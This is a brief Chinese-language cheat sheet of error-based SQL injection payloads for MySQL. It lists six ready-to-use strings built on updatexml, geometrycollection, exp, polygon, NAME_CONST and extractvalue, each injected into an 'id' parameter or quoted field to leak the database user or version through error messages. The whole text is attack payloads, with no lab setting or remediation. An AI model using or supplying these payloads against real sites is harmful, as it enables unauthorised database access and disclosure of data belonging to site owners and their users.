SQL手工注入——報錯注入的幾個函數

1.通過updatexml

 

id=2 and 1=(updatexml(1,concat(0x3a,(select user() ) ),1))

 

2.通過geometrycollection語句

 

id=2 and geometrycollection((select * from(select * from (select user())a)b))

 

3.通過exp語句

 

id=2 and exp(~(select * from (select user() ) a));

 

4.通過polygon語句

 

id=2 and polygon((select * from (select * from (select user())a)b));

 

5.通過NAME_CONST報錯：

 

and exists(select * from (select * from(select name_const(version(),0)a join (select name_const(version(),0))b)c);

 

6.通過extractvalue報錯：

 

'or extractvalue (1, concat(0x5c,(select user()))) or'